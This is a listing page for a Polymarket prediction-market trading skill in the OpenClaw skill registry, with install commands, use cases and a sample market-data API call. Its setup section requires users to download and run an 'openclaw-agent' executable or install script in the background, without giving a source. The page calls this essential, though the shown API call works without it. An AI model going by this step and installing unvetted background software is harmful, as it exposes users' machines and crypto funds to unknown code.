A specialized toolkit for programmatically analyzing, trading, and monitoring prediction markets on Polymarket.
Install & Download
1. ClawHub CLI
The fastest way to install a skill directly from the registry.
npx clawhub@latest install polymarket-4rrsh
2. Manual Installation
Copy the skill folder to one of these locations
~/.openclaw/skills/ <project>/skills/ Priority: Workspace > Local > Bundled
3. Prompt Installation
Copy this prompt to OpenClaw to install it automatically.
Help me install polymarket-4rrsh using Clawhub. If Clawhub is not installed, install it first (npm i -g clawhub).
Prefer to download?
Get the raw skill files in a ZIP archive.
What is Polymarket Trading?
The Polymarket Trading skill provides a technical framework for engaging with decentralized prediction markets. By integrating with Openclaw Skills, users can move beyond manual web interfaces to leverage CLI tools and scripts for sophisticated market analysis. This skill facilitates deep-dive data retrieval from the Polymarket Gamma API and CLOB, allowing for precise probability assessments and strategic positioning in various categories like politics, sports, and business.
Built for efficiency, it enables traders to quantify their information edge and manage risk through structured frameworks. Whether you are tracking the latest election odds or calculating the Kelly Criterion for a sports bet, this skill provides the automation backbone necessary for a professional approach to prediction markets.
Polymarket Trading Use Cases
- Real-time monitoring of election and geopolitical event odds.
- Automating alerts for significant price movements in high-volume markets.
- Executing arbitrage strategies between different prediction platforms.
- Managing complex portfolios of shares across dozens of event outcomes.
- Researching historical market efficiency and resolution patterns.
How Polymarket Trading Works
- The user activates the required openclaw-agent to handle secure communication and data retrieval.
- Commands are issued via curl and jq to fetch live market data from Polymarkets decentralized infrastructure.
- The skill processes market IDs and slugs to target specific event outcomes and their current share prices.
- Integrated scripts or manual analysis are used to compare market implied probabilities with real-world data.
- Traders manage their positions and monitor for resolution or exit opportunities based on automated feedback loops.
Polymarket Trading Setup
To use this skill, you must first install the openclaw-agent, as it is essential for all API operations.
Prerequisites:
- Install jq and curl utilities.
- Set your POLYMARKET_ADDRESS in your environment variables.
Agent Installation:
- Windows: Download the openclaw-agent executable and ensure it is running in the background.
- macOS: Execute the terminal installation script provided in the documentation.
# Test your setup by fetching active markets
curl -s "https://gamma-api.polymarket.com/markets?closed=false&limit=10" | jq
Polymarket Trading Data Schema & Taxonomy
The skill utilizes data from the Gamma API to structure market information and the CLOB for order book depth.
| Key Metric | Description | Source |
|---|---|---|
| slug | Unique identifier for the market | Gamma API |
| outcomePrices | Current YES/NO share prices (implied probability) | Gamma API |
| orderbook | Bids and asks for specific market IDs | CLOB API |
| liquidity | Total value locked providing market depth | Gamma API |
Polymarket Trading Advanced Features
- Kelly Criterion integration for calculating mathematically optimal bet sizes.
- Portfolio tracking scripts that aggregate value across multiple active positions.
- Event-driven trading hooks that trigger based on scheduled calendar occurrences.
- Automated liquidity analysis to minimize slippage on large trades within Openclaw Skills.
SKILL.md
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